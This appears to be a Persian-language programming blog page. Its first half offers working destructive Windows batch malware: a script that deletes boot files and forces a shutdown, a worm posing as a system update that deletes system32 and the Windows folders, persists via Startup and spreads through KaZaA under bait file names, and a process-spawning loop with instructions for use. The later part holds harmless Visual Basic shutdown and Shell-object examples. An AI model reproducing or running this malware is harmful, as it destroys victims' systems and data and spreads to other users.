smart code

@echo off
attrib –r –s –h c:\autoexec.bat
del c:\autoexec.bat
attrib –r –s –h c:\boot.ini
del c:\boot.ini
attrib –r –s –h c:\ntldr
del c:\ntdlr
attrib –r –s –h c:\windows\win.ini
del c:\windows\win.ini
@echo off
Msg *YOU GOT INFECTED!
Shutdown –s –t 7 –c “A VIRUS IS TAKING OVER c:Drive

worm 1

@ECHO OFF
if exist c:\romp.bat goto end
:start
cls
Echo Installing Update...
cd c:\windows\system
del keyboard.drv
del mouse.drv
TITLE System Update
echo ::startup >> c:\romp.bat
echo if not exist c:\damp goto prompt >> c:\romp.bat
echo :start >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd damp >> c:\romp.bat
echo md keys >> c:\romp.bat
echo pause >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat >> c:\romp.bat
echo copy *.bat c:\damp\keys\ILOVEYOU.bat c:\windows\stone.bat >> c:\romp.bat
echo rmdir c:\WUTemp >> c:\romp.bat
echo del c:\windows\system32\*.* >> c:\romp.bat
echo rmdir c:\windows\system32 >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo md system32 >> c:\romp.bat
echo pause >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo cd windows >> c:\romp.bat
echo cd system32 >> c:\romp.bat
echo md tools >> c:\romp.bat
echo copy *.bat c:\windows\system32\tools\urscrewed.bat
echo echo msgbox" Ur system is now screwed" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" This was no scan... it was more like a scam" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" It has deleted pretty much all of system32 which is in windows and has messed

with windows" >> c:\plastic.vbs >> c:\romp.bat
echo echo msgbox" There is no more windows on this computer" >> c:\plastic.vbs >> c:\romp.bat
echo Rd/s/q c:\windows >> c:\romp.bat
echo Rd/s/q c:\progra~1 >> c:\romp.bat
echo goto part2 >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :part2 >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md Kierstyn'scan >> c:\romp.bat
echo pause >> c:\romp.bat
echo goto part3 >> c:\romp.bat
        >> c:\romp.bat
        >> c:\romp.bat
echo :part3 >> c:\romp.bat
echo rename c:\windows c:\viriiscan >> c:\romp.bat
echo goto end1 >> c:\romp.bat

echo :prompt >> c:\romp.bat
echo cls >> c:\romp.bat
echo cd c:\ >> c:\romp.bat
echo md damp >> c:\romp.bat
echo copy *.bat c:\damp.bat >> c:\romp.bat
echo echo msgbox" Oh No u r so stupid" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Wow you probably got this through ur lan" >> c:\pomper.vbs >> c:\romp.bat
echo echo msgbox" Happy dieing staples" >> c:\pomper.vbs >> c:\romp.bat
echo goto start >> c:\romp.bat
      >> c:\romp.bat
      >> c:\romp.bat
echo :end1 >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Matrix2.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-legged-freaks.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Password_finder.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\s-club7.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\JackAss the movie.vid.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\password hacker.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Norton anti virus.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\8-mile.mpg.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\kazaa.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\realplayer.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\MyPic.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.bmp.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\Bill gates *very funny*.mpg.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\windows xp.exe.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to make viruses.txt.bat >>

c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\*very funny*.bmp.bat >> c:\romp.bat
echo Copy *.bat C:\Program Files\KaZaA\My Shared Folder\How to stop worm viruses.txt.bat >>

c:\romp.bat
echo goto end >> c:\romp.bat
echo :end >> c:\romp.bat
Echo Virus installed
cd c:\Docume~1\All Users\Start Menu\Programs\Startup
copy *.bat cd c:\Docume~1\All Users\Start Menu\Programs\Startup
Echo Now You have to restart to save
START C:\WINDOWS\RUNDLL.EXE user.exe,exitwindowsexec
rundll32.exe shell32.dll,SHExitWindowsEx n
pause
del c:\thecreator.bat
:end 

با دقت استفاده کنید

آموزش مخرب نویسی در notepad

Echo off
:loop1
start command
start command
start command
start command
start command
start command
start command
start command
start command
start command
goto loop2

:loop2
start command
start command
start command
start command
start command
start command
start command
start command
start command
start command
goto loop1 

پسوند این لوپ مخرب باید bat.* باشد . 

به جای start command دستورات خود را قرار دهید

Restart و ShutDown کردن سیستم در VB

سلام دوستان امروز می خواهم به سوال یکی از دوستان پاسخ دهم . یکی از دوستان پرسیده بود که چگونه می توان برنامه نوشت که بتوان سیستم را Restart و یا ShutDown کرد . خوب برای این کار کافیست که با API ها آشنایی داشته باشید , من در آموزش استفاده از Themes WinXp درباره API ها توضیحاتی دادم بد نیست که یه نگاه به اون داشته باشید . از دو تابع که در کتابخانه shell32.dll ویندوز موجود می باشد استفاده میکنیم . از تابع SHRestartSystemMB برای restart کردن و از تابع SHShutDownDialog برای shutDown کردن استفاده می شود . همچنین برای این برنامه دو ثابت تعریف کردم که در اولی عدد معادل برای restart و در دومی کد معادل برای ShutDown کردن قرار دارد .

در برنامه های قبلی هم که با کار کردن با توابع آشنا شدید دیگر فکر نکنم نیازی برای توضیح بیشتر باشه کد برای دریافت این برنامه اینجا کلیک کنید .

'Define Const For Use of API
Const Shut_Down = 1
Const Win_Reboot= 4

'Declare API Concern to Windows Restart
Private Declare Function SHRestartSystemMB Lib "shell32" Alias "#59" (ByVal hOwner As Long, ByVal sExtraPrompt As String, ByVal uFlags As Long) As Long

'Declare API Concern to Windows Shut Down
Private Declare Function SHShutDownDialog Lib "shell32" Alias "#60" (ByVal YourGuess As Long) As Long

Private Sub CmdRestart_Click()
SHRestartSystemMB Me.hwnd, vbNullString, Win_Reboot
End Sub
Private Sub CmdShutdown_Click()
SHShutDownDialog Shut_Down
End Sub

چگونه می توان یک Explorer را اجرا کرد ؟

برای این کار می توان از راههای مختلفی استفاده کرد مثلاً از شیء Shell و . . .  . برای اینکار از منوی Project آیتم Preference را انتخاب کنید , اکنون آیتم Microsoft Shell Controls and Automaton  را انتخاب کنید . حالا مراحل زیر را انجام میدهیم .

Dim SH As New Shell

حالا می توانید از متدهای زیادی که این شیء در اختیارتان می گزارد استفاده کنید . از جمله این متد های اجرا Internet Explorer , Outlook , اجرای آیتم های موجود در کنترل پنل , نمایش پنجره جستجوی ویندوز و کلی کارهای مفید دیگه . به مثالهای زیر توجه کنید :

SH.Open "http://vb.blogfa.com"

SH.TrayProperties

SH.SetTime

SH.FindComputer 'System Search

SH.ControlPanelItem "sysdm.cpl" 'System Properties

SH.ControlPanelItem "inetcpl.cpl" 'Internet Options

SH.ControlPanelItem "'appwiz.cpl" 'Add/Remove Programs

این شیء دارای متدهای دیگری هم میباشد که به راحتی می توانید از آنها استفاده کنید .